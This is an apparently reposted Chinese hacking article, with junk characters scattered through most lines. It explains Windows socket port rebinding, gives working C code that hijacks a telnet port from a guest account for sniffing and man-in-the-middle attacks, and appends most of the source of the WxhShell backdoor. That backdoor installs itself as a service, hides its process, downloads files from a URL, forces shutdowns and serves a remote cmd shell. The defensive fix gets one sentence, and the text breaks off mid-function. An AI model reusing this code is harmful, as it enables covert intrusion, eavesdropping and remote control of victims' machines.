在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
|IvX7%*]~ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
=g:\R$lQ 4dP_'0]9A: saddr.sin_family = AF_INET;
zqkmsFH{ MNz q}(p saddr.sin_addr.s_addr = htonl(INADDR_ANY);
u[DV{o r[~$ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
AdNsY/ Y( cg5DyQ( 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
4]GyuY MgekLP)& 这意味着什么?意味着可以进行如下的攻击:
|Th{*IJ<, eMwf'*# 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
:`K;0`C+ ,J~dER\% 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
7^F?key? YS*t7 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
vhC"f* f8lww)^,v 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
M<nn+vy` K5$ y 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
~U|te _l VWi-) 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
a/ZfPl0Ns[ oaHBz_pg 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
kL-+V)Kl k8TMdWW #include
IYWD_}_
$ #include
?S_S.Bd #include
o,-@vp #include
9SPu 4i DWORD WINAPI ClientThread(LPVOID lpParam);
+vP1DXtj( int main()
&Ru6Yt0W {
g5.Z B@j WORD wVersionRequested;
8HzEH-J
DWORD ret;
G4i&:0 WSADATA wsaData;
,RZktWW_ BOOL val;
#L"h>,b SOCKADDR_IN saddr;
vv u((b SOCKADDR_IN scaddr;
i<
ih : int err;
8P .! q SOCKET s;
yVL~SH| SOCKET sc;
E-x(5^b" int caddsize;
46vz=# ,6L HANDLE mt;
=<g\B?s] DWORD tid;
[8"nRlXH wVersionRequested = MAKEWORD( 2, 2 );
3<?#*z4]_ err = WSAStartup( wVersionRequested, &wsaData );
.|cQ0:B[ if ( err != 0 ) {
Zs)HzOP)9 printf("error!WSAStartup failed!\n");
kyz_r6 return -1;
5^[V%4y> }
WG<D+P saddr.sin_family = AF_INET;
y1f&+y9e zZseK //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
sJ!AI
n< /O+,vRw\A saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
><5tnBP|+L saddr.sin_port = htons(23);
WM:we*k8h if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
l3-;z)SgH {
p)d'yj printf("error!socket failed!\n");
S_aml return -1;
03[(dRK>= }
P)ZGNtO9fG val = TRUE;
K5'@$Km //SO_REUSEADDR选项就是可以实现端口重绑定的
W~FcU+a if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
.\qZkk}2l {
<[kdF") printf("error!setsockopt failed!\n");
rs'~' Y return -1;
IC37f[Q }
DTPYCG&% //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
L<*wzl2Go //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
$!ka8)
~ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
z`5d,M X5'foFE' if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
V6Z2!Ht {
-@e9!/GP, ret=GetLastError();
AF>!: printf("error!bind failed!\n");
mRFcZ.7 return -1;
g.zJ[- }
I[G<aI! listen(s,2);
D8qZh1w%A| while(1)
5&\Q0SX(~ {
#8QQZdC8` caddsize = sizeof(scaddr);
#GY;., //接受连接请求
-#|J sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
_6(QbY'JV` if(sc!=INVALID_SOCKET)
*EvnN: {
+QqYf1@F mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
p.n+m[ if(mt==NULL)
{w1sv=$+ {
j[v<xo printf("Thread Creat Failed!\n");
>y
&9!G break;
k7W7S`H
}
X~G!{TT_x6 }
&%$r3ePwc CloseHandle(mt);
2mWW0txil }
_T7tq closesocket(s);
wZ5+ H%x WSACleanup();
|#Z:v1]" return 0;
'/J}T -,Z }
a$l DWORD WINAPI ClientThread(LPVOID lpParam)
+K])&}Dw {
inBBU[Sl SOCKET ss = (SOCKET)lpParam;
EQET:a:g SOCKET sc;
JFIUD{>fp unsigned char buf[4096];
YcBY[i0 SOCKADDR_IN saddr;
%c*azo. long num;
M`-.0 DWORD val;
cF7I DWORD ret;
m\)z& hv<r //如果是隐藏端口应用的话,可以在此处加一些判断
D4?5% s //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
M8oI8\6[ saddr.sin_family = AF_INET;
H~^am saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
2xN1=ug saddr.sin_port = htons(23);
BC =U6>`/ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
p'fU}B1 {
DP6 M4 printf("error!socket failed!\n");
8A~5@ return -1;
b7^VWX% }
s+8
v7ZJ val = 100;
q["CT&0 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
$*tq$DZ4& {
3M=ym. ret = GetLastError();
R_e{H^pY^ return -1;
PMe bn$( }
Q-k{Lqa- if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Fc%@ {
>
SU2Jw ret = GetLastError();
5zWxI]4d\ return -1;
k4FxdX }
u[$ \
az7 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
+1zCb=;!{ {
!~u;CMR printf("error!socket connect failed!\n");
NpG5$? closesocket(sc);
Iww.Nd2 closesocket(ss);
gNY}`'~hr return -1;
p,.+i[V }
E"ijN s while(1)
7{e0^V,\k {
z|;7;TwA //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
dh#4/Wa, //如果是嗅探内容的话,可以再此处进行内容分析和记录
Av:5v3% //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
F:"<4hiA" num = recv(ss,buf,4096,0);
a;jXMR if(num>0)
/B73|KB+ send(sc,buf,num,0);
03Pa; n else if(num==0)
g.ty#Z=: break;
R}'kF63u* num = recv(sc,buf,4096,0);
6Lk<VpAa if(num>0)
|r[yMI|VR send(ss,buf,num,0);
2UU5\
jV6 else if(num==0)
g!;k$`@{E' break;
Mn7nS: }
St}j^i closesocket(ss);
k\W%^Z closesocket(sc);
[HGGXgN return 0 ;
.]}kOw:(# }
{1,]8!HBJ !VUxy AQ:cim` ==========================================================
$R4[TQY).! He^u+N@B 下边附上一个代码,,WXhSHELL
;$gZ?& 0vbiq ==========================================================
u;rK.3o uKHkC.g #include "stdafx.h"
GP6-5Y"8 }JyWy_Y #include <stdio.h>
m&(yx|a4+ #include <string.h>
`KBgVhS> #include <windows.h>
OoL#8R #include <winsock2.h>
STmn%& #include <winsvc.h>
I%.KFPV #include <urlmon.h>
(ds-p[`[m *)+1BYMo #pragma comment (lib, "Ws2_32.lib")
lX$6U|! #pragma comment (lib, "urlmon.lib")
3#o!K s\A"B#9r #define MAX_USER 100 // 最大客户端连接数
Q|/uL`_ni #define BUF_SOCK 200 // sock buffer
8q*MhH>6I #define KEY_BUFF 255 // 输入 buffer
U9GmkXRix eV$pza #define REBOOT 0 // 重启
Ej\EuX #define SHUTDOWN 1 // 关机
C,T9xm HH
=sq #define DEF_PORT 5000 // 监听端口
%"Tn=fZIF 'wB6- #define REG_LEN 16 // 注册表键长度
7A'd55I4 #define SVC_LEN 80 // NT服务名长度
rV.04m, JbN@AX:% // 从dll定义API
~"F83+RDe typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
!pY=\vK; typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
cz<8Kb/XV typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
NfqJ>[}I+ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
GjlA\R^e P[{qp8(g // wxhshell配置信息
ns`|G;1vv struct WSCFG {
oo sbf#V int ws_port; // 监听端口
_):V7Zv char ws_passstr[REG_LEN]; // 口令
Pl(+&k`} int ws_autoins; // 安装标记, 1=yes 0=no
n46A char ws_regname[REG_LEN]; // 注册表键名
[C 1o9c! char ws_svcname[REG_LEN]; // 服务名
^M36=~j char ws_svcdisp[SVC_LEN]; // 服务显示名
'ap<]mf2 char ws_svcdesc[SVC_LEN]; // 服务描述信息
rF C 6"_ char ws_passmsg[SVC_LEN]; // 密码输入提示信息
O9y4.`a" int ws_downexe; // 下载执行标记, 1=yes 0=no
Vp{e1xpY char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
Khd" char ws_filenam[SVC_LEN]; // 下载后保存的文件名
(`h$+p^-y *{/
ww9fT };
v_-S#( wBlfQ
w-N // default Wxhshell configuration
{*WJ"9ujp] struct WSCFG wscfg={DEF_PORT,
\z>Re$: "xuhuanlingzhe",
q0|u vt" 1,
GCSR)i| "Wxhshell",
LDDeZY"xd "Wxhshell",
) wkh "WxhShell Service",
6b1f? 0 "Wrsky Windows CmdShell Service",
BZAeg">3 "Please Input Your Password: ",
6f1%5&si 1,
Fl{:aq"3 "
http://www.wrsky.com/wxhshell.exe",
u;1/.`NPB "Wxhshell.exe"
V/w:^@5+p };
~<b/%l>h1 ]iu}5]?) // 消息定义模块
+oKp>- char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
Fe8JsB- char *msg_ws_prompt="\n\r? for help\n\r#>";
EX^}#|e*h char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
];BGJ5^j char *msg_ws_ext="\n\rExit.";
01v7_*'R char *msg_ws_end="\n\rQuit.";
>s#[dr\ww char *msg_ws_boot="\n\rReboot...";
eeIaH
> char *msg_ws_poff="\n\rShutdown...";
ShXk\" char *msg_ws_down="\n\rSave to ";
{z)&=v@ u{Jv6K, char *msg_ws_err="\n\rErr!";
cI}qMc char *msg_ws_ok="\n\rOK!";
O^fg~g X 8\,|T2w,X char ExeFile[MAX_PATH];
BQYj"Wi int nUser = 0;
*Z0 Y:" HANDLE handles[MAX_USER];
6{h+(|.( int OsIsNt;
&0B<iO<f d&S4`\g?8 SERVICE_STATUS serviceStatus;
/*g9drwaa SERVICE_STATUS_HANDLE hServiceStatusHandle;
~" \qX+ aq-`Bar // 函数声明
ut6M$d4 int Install(void);
4R_Vi[i int Uninstall(void);
HSq.0vYl6 int DownloadFile(char *sURL, SOCKET wsh);
[$; \1P/ int Boot(int flag);
5~(.:RX:q void HideProc(void);
4o,%}bo& int GetOsVer(void);
HQi57QB int Wxhshell(SOCKET wsl);
>7@kwj-f) void TalkWithClient(void *cs);
$Pa7B]A,Ae int CmdShell(SOCKET sock);
uK6_H vHuy int StartFromService(void);
3f'dBn5 int StartWxhshell(LPSTR lpCmdLine);
DG_tmDT4 ~ou1{NS VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
kOfq6[JC VOID WINAPI NTServiceHandler( DWORD fdwControl );
?f1PQ *69yB // 数据结构和表定义
/8!s
C D SERVICE_TABLE_ENTRY DispatchTable[] =
5#jna9Xc {
\BB(0Ah+t {wscfg.ws_svcname, NTServiceMain},
M6(o J* {NULL, NULL}
+uR|0Jo8X };
p^^Ai B<.XowT' // 自我安装
/4 zO int Install(void)
j.C)KwelBS {
@V$,H/v: char svExeFile[MAX_PATH];
C+{du^c$ HKEY key;
*We.?"X']. strcpy(svExeFile,ExeFile);
?O1:-vpZ x+~IXi>Ig // 如果是win9x系统,修改注册表设为自启动
|12Cg>;j*n if(!OsIsNt) {
g@WGd(o0) if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
a`}b'X: RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
y/'^r? RegCloseKey(key);
-9BKa~ DVQ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
xw60l&s.\L RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
iG<rB-" RegCloseKey(key);
HnvE\t9` return 0;
q/w U7P\% }
nnBgTtsC] }
V\axOz! }
.E!p else {
}5n((7@X r,p6J7/lfS // 如果是NT以上系统,安装为系统服务
nquKeH SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
*SkUkqP9z if (schSCManager!=0)
gv=mz,z {
'&L ;y SC_HANDLE schService = CreateService
x'Z< (
bXcDsP$. schSCManager,
bS
'a ) wscfg.ws_svcname,
D;bQ"P-m47 wscfg.ws_svcdisp,
%qA +zPf SERVICE_ALL_ACCESS,
=~r?(u6d SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
p'afCX@J SERVICE_AUTO_START,
XQEGMaZ SERVICE_ERROR_NORMAL,
|xI\)VE^ svExeFile,
OCy\aCp NULL,
dZ!Wj7K) NULL,
`!MyOI`qS NULL,
T!6H5>zA NULL,
hjiU{@q NULL
fn|l9k~ <O );
#plwK-tPR if (schService!=0)
4-q7o]%5< {
Uo{h.
.7? CloseServiceHandle(schService);
V43pZ]YZ> CloseServiceHandle(schSCManager);
H)g:< strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
$[VeZ- strcat(svExeFile,wscfg.ws_svcname);
.%+`e if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
xG<H${
k; RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
:" ZH RegCloseKey(key);
u>;#.N/ return 0;
S=O/W(ZB }
-&Fxg>FrYb }
2G"mm( CloseServiceHandle(schSCManager);
gnbs^K w }
.vRLK }
&J|3uY,'j 3j.Ft*SV return 1;
9GS<d.#Nvc }
Cna@3)_ dN>XZv // 自我卸载
W38My j! int Uninstall(void)
Auhw(b>}TW {
w<_.T# HKEY key;
fys@%PZq qs6yEuh# if(!OsIsNt) {
<!:,(V>F(C if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
+MC>?rr_u RegDeleteValue(key,wscfg.ws_regname);
K5(?6hr; RegCloseKey(key);
e,Xvt5 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
uR"srn;^ RegDeleteValue(key,wscfg.ws_regname);
puS'9Lpp RegCloseKey(key);
]I"oS? return 0;
p#.B Fy }
XgKtg-, }
9bjjo;A }
i;^
e6A> else {
LBtVK, ? daBu<0\ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
rWbuoG+8 if (schSCManager!=0)
!lE
(!d3M {
Oa~t&s SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
k%QhF] if (schService!=0)
t~p9iGX< {
zW%-Z6%D if(DeleteService(schService)!=0) {
!mpRLBH CloseServiceHandle(schService);
D8_m_M|P CloseServiceHandle(schSCManager);
'j$iS W& return 0;
io
cr }
ro37H2^Ty CloseServiceHandle(schService);
xkl'Y * }
\Ja%u"DA CloseServiceHandle(schSCManager);
?[Q;275 }
Z~g~,q }
=HP_IG_ BZ1@?3 return 1;
G Q&9by=} }
'#t"^E2$ cl2@p@av // 从指定url下载文件
6+IOJtj int DownloadFile(char *sURL, SOCKET wsh)
O:q}<ljp {
GZQ)TzR HRESULT hr;
AEK * w4 char seps[]= "/";
[8Ub#<]] char *token;
uf`o\wqU char *file;
~/[cZY@ char myURL[MAX_PATH];
po"M$4`9 char myFILE[MAX_PATH];
>0+m 133lIX+(k strcpy(myURL,sURL);
{i^ ?XdM token=strtok(myURL,seps);
yVQqz while(token!=NULL)
r0QjCFSF= {
FqsG#6|x file=token;
m&,d8Gss^ token=strtok(NULL,seps);
8,Yc1 }
F$ Us! NN cR$2`:e GetCurrentDirectory(MAX_PATH,myFILE);
BmUEo$w strcat(myFILE, "\\");
4cJ^L < strcat(myFILE, file);
9`.b send(wsh,myFILE,strlen(myFILE),0);
8nES=<rz send(wsh,"...",3,0);
fJOU1% hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
u 8U>R=M if(hr==S_OK)
P%pB]d.qpi return 0;
H` Q_gy5Z( else
+Qu~UK\ return 1;
-FrNk> 7,:$, bL }
2SHS!6:Rl Y24H`
s1u/ // 系统电源模块
OS7^S1r- int Boot(int flag)
WO<a^g
{ {
m\xlSNW'q HANDLE hToken;
s6+`cC4 TOKEN_PRIVILEGES tkp;
ro`2IE> 4ht+u if(OsIsNt) {
RI</T3%~ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
+q-/~G' LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
<-rw>, tkp.PrivilegeCount = 1;
#yi&-9B tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
GRq0nhJ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
[8$K i$; if(flag==REBOOT) {
QnN cGH if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
!,z==Qp|v return 0;
N,F$^ q6 }
d@aPhzLu else {
.|Y&,?k|Y if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
^oYudb^% return 0;
unZYFA}( }
A1uo@W }
l:$i}.C else {
TOC2[mc' if(flag==REBOOT) {
~&\} qz3 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
=/zb$d cz return 0;
`+?g96 }
G}8Zkz@+ else {
~P;KO40K if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
dw"{inMf return 0;
rwh,RI)
)g }
5i|DJ6 }
r>Rm=eKJ v"3($?au0 return 1;
Rt=zqfJ }
roNRbA] j,@@[{tu // win9x进程隐藏模块
LUN"p#1 void HideProc(void)
Lw_s'QNWR {
!gbPxfH:6 qOM" ?av HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
*s1^s;LR if ( hKernel != NULL )
BfUM+RC%5 {
<)am]+Lswy pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
W0_
pO ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
7ea<2va, FreeLibrary(hKernel);
>xB[k-C4 }
"Di8MMGOY fqp!^-!X return;
%ok??_}$}q }
_G0_<WH6 wR]jJbF // 获取操作系统版本
?CU6RC n int GetOsVer(void)
mA2L~=v# {
OJ!=xTU%h OSVERSIONINFO winfo;
sfKu7p uc winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
mMSQW6~j GetVersionEx(&winfo);
<g3)!VR^q if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
&'KJh+jJ
return 1;
4M,Q{G|e else
Z(c3GmY return 0;
-{O>'9'1A }
JVxGS{Z lo< t5~GQ // 客户端句柄模块
R.'-jvO int Wxhshell(SOCKET wsl)
h}$g}f%$+ {
:)=>,XwL8 SOCKET wsh;
SR8)4:aKW struct sockaddr_in client;
Q!*}^W DWORD myID;
|S0nR<x-M 1~aP)q while(nUser<MAX_USER)
Vz
@2_k
{
vmsrypm int nSize=sizeof(client);
%pG^8Q()
wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
c+A$ [ if(wsh==INVALID_SOCKET) return 1;
4-vo R5Fd }"x#uG handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
]:_s7v if(handles[nUser]==0)
8Z[YcLy"({ closesocket(wsh);
`WRM7 else
T
j(MIFi|5 nUser++;
Z`]r)z%f }
ms%RNxU4: WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
hteAuz4H 4}xw&x return 0;
2&o
jQhe }
kH'zTO1 }N,$4h9Dj // 关闭 socket
+,|aIF void CloseIt(SOCKET wsh)
K{EDmC {
M)6iYA%$ closesocket(wsh);
B9(@. nUser--;
ic;M=dsh: ExitThread(0);
OC=g 1 }
fPBJ%SZ Uu_Es{@ // 客户端请求句柄
@
Cd#\D| void TalkWithClient(void *cs)
}5]2tH${ {
uEui{_2$ {$xt.< SOCKET wsh=(SOCKET)cs;
N(Sc!rX char pwd[SVC_LEN];
+oev NM char cmd[KEY_BUFF];
slTE. char chr[1];
q/#pol int i,j;
4^(aG7
YG_|L[/# while (nUser < MAX_USER) {
PK).)5sW F?+\J =LT if(wscfg.ws_passstr) {
i@m@]-2 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
H ]z83:Z //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
"K c/Cs2[ //ZeroMemory(pwd,KEY_BUFF);
Ygq;jX i=0;
s
C>Oyh:%! while(i<SVC_LEN) {
yQ!I`T>a <q.Q,_cW // 设置超时
?>/9ae^Bw fd_set FdRead;
7SJR_G6,{ struct timeval TimeOut;
Z_;!f}X FD_ZERO(&FdRead);
8}K^o>J&K FD_SET(wsh,&FdRead);
CuT50N;tk TimeOut.tv_sec=8;
38#Zlcf TimeOut.tv_usec=0;
8_Nyy/K#F int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
of=N+
W if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
Mj6
0?k MAQ(PIc>T if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
!9t,#?! pwd
=chr[0]; WCD)yTg:ES
if(chr[0]==0xd || chr[0]==0xa) { z50P*
eS
pwd=0; 2!Qg1hM
break; z_8lf_N
} .+(R,SvN%<
i++; %k'>bmJ
} <&RpGAk%I
\2))c@@%
// 如果是非法用户,关闭 socket \,S4-~(:!
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); /b7]NC%
} yu>)[|-
oJ?,X^~_
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); < Dt/JA(p
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); BUS4 T#D
VVJIJ9L&C
while(1) { 9? y&/D5O
H<9_BA?
ZeroMemory(cmd,KEY_BUFF); H~
E<ek'~
q ;"/i*+3
// 自动支持客户端 telnet标准 &WNIL13DK
j=0; gA}?X
while(j<KEY_BUFF) { C#LTF-$])
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }qT{" *SC
cmd[j]=chr[0]; o~7D=d?R
if(chr[0]==0xa || chr[0]==0xd) { 0^vz /y1c
cmd[j]=0; .*edaDi
break; 7M)<Sv
} E#R1
j++; o3$dl`'
} I0*N
"07n
2<9&OL
// 下载文件 Z!-V&H.
if(strstr(cmd,"http://")) { lK_T%1Gz
send(wsh,msg_ws_down,strlen(msg_ws_down),0); $0R5 ]]db)
if(DownloadFile(cmd,wsh)) y$+=>p|d.^
send(wsh,msg_ws_err,strlen(msg_ws_err),0); a+RUSz;DL
else 2HO2
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I?RUVs
} I?
="Er[g}
else { iG#92e4
vnWt8?)]^
switch(cmd[0]) { (8baa.ge
EU7nS3K)O~
// 帮助 0t[ 1#!=k
case '?': { pgQ^w0BQV
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); _Q 'f^Kj
break; 0avtfQ +f
} w75Ro6y
// 安装 =h xyR;
case 'i': { #jJ0Mxg
if(Install()) ZUD{V
send(wsh,msg_ws_err,strlen(msg_ws_err),0); lid0
YK-
else !mmSF1f
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Tm$8\c4V:*
break; w
_4O;
} [dFe-2u ,$
// 卸载 {#~A `crO
case 'r': { -<L5;
if(Uninstall()) wrc1N?[bn
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8"TlWHF`
else jn`5{ ]D
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); c/^l2CJ0
break; 4
|bu= T
} Y9I|s{~
// 显示 wxhshell 所在路径 h^v#?3.@
case 'p': { Ii#+JY0k
char svExeFile[MAX_PATH]; H_,4N_hL
strcpy(svExeFile,"\n\r"); B2Rpd &[
strcat(svExeFile,ExeFile); fw
VI%0C@
send(wsh,svExeFile,strlen(svExeFile),0); "!_vQ^y
break; !1%Sf.`!_
} I5)$M{#a
// 重启 B"
_Xst
case 'b': { '14 86q@[$
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); v,Zoy|Lu
if(Boot(REBOOT)) V CVKh
send(wsh,msg_ws_err,strlen(msg_ws_err),0); LcT;7yv
else { F|cli
<
closesocket(wsh); 1:Ff#Eq,s
ExitThread(0); 65nK1W`i
} >6Jz=N,
break; re,}}'
} &bGf{P*Da
// 关机 \%B7M]P
case 'd': { r&ys?@+G
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); c$lZ\r"
if(Boot(SHUTDOWN)) EG|_YW7
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Yg}b%u,Q
else { %%#bTyF
closesocket(wsh); <Ql2+ev6
ExitThread(0); +z0s)HU>j
} qu^~K.I"
break; 0|i|z!N>
} _T7XCXEk
// 获取shell R<vbhB/lU
case 's': { .|Yn[?(
CmdShell(wsh); I0><IaFy
closesocket(wsh);
sCmN|Q
ExitThread(0); LM 1Vsh<
break; .;S1HOHz4
} d^v.tYM$N
// 退出 bvHQ #:}H
case 'x': { bR1Q77<G\
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 7F_N{avr
CloseIt(wsh); m>3\1`ZF~<
break; o?cNH
} vR>GE?s6
// 离开 d'H gek{T
case 'q': { |DPq~l(d
send(wsh,msg_ws_end,strlen(msg_ws_end),0); ms\\R@R
closesocket(wsh); 6!USSipn
WSACleanup(); gzy|K%K
exit(1); ^.
break; CJDNS21m
} HIt9W]koO
} o9yUJ@
:i
} j,SZJ{ebXg
yqtaQ0F~
// 提示信息 a8G<x<
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); AX'-}5T=
} L
" 'd(MD
} X<pNc6
G'';VoW=
return; 0P{8s
} "!fwIEG
Ed{sC[j=
// shell模块句柄 Crl:v8
int CmdShell(SOCKET sock) yjq|8.L[
G
{ 0LSJQ9\p
STARTUPINFO si; D #7q3s
ZeroMemory(&si,sizeof(si)); P2 qC[1hYH
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; *cCj*Zr]
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; SSyARR+;c
PROCESS_INFORMATION ProcessInfo; sTep2W.9
char cmdline[]="cmd"; 1)qD)E5&cf
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); }W(t>>
return 0; .<xD'54
} yq<W+b/
P_H_\KsH*(
// 自身启动模式 -N6ek`
int StartFromService(void) :XoR~syT
{ IS`ADDU[S
typedef struct baL<|&
c
{ =P_*.SgR
DWORD ExitStatus; 94]i|2qj*
DWORD PebBaseAddress; ?Iij[CbU
DWORD AffinityMask; XW\
3t tx
